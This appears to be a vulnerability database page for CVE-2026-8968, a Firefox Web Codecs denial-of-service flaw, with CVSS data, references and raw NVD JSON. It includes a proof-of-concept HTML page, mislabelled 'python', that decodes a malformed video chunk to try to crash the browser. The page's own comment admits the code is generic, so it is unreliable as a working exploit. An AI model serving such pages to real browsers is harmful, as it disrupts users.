CVE-2026-8968

Description

Denial-of-service due to invalid pointer in the Audio/Video: Web Codecs component. This vulnerability was fixed in Firefox 151 and Firefox ESR 140.11.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Mozilla Firefox < 151

Mozilla Firefox ESR < 140.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8968 -->
<!-- This PoC attempts to trigger the invalid pointer in Web Codecs -->
<!DOCTYPE html>
<html>
<body>
<script>
    // Check if Web Codecs API is supported
    if ('VideoDecoder' in window) {
        const decoder = new VideoDecoder({
            output: (frame) => { console.log('Frame output'); },
            error: (e) => { console.error('Decode error:', e); }
        });

        // Configure decoder (Generic config, real exploit needs specific codec trigger)
        decoder.configure({ codec: 'avc1.64001F' });

        // Attempt to decode an invalid buffer to trigger the crash
        const invalidChunk = new Uint8Array([0x00, 0x00, 0x01, 0xFF]); // Malformed header
        const chunk = new EncodedVideoChunk({
            type: 'key',
            timestamp: 0,
            data: invalidChunk
        });

        try {
            decoder.decode(chunk);
        } catch (e) {
            console.log("Exception caught during decode attempt");
        }
    } else {
        console.log("Web Codecs API not supported in this browser.");
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8968
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8968
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8968/
[4] VulDB https://vuldb.com/cve/CVE-2026-8968
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2030467
[6] https://www.mozilla.org/security/advisories/mfsa2026-46/
[7] https://www.mozilla.org/security/advisories/mfsa2026-48/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8968", "sourceIdentifier": "[email protected]", "published": "2026-05-19T14:16:53.277", "lastModified": "2026-05-19T15:16:35.187", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Denial-of-service due to invalid pointer in the Audio/Video: Web Codecs component. This vulnerability was fixed in Firefox 151 and Firefox ESR 140.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2030467", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-46/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-48/", "source": "[email protected]"}]}}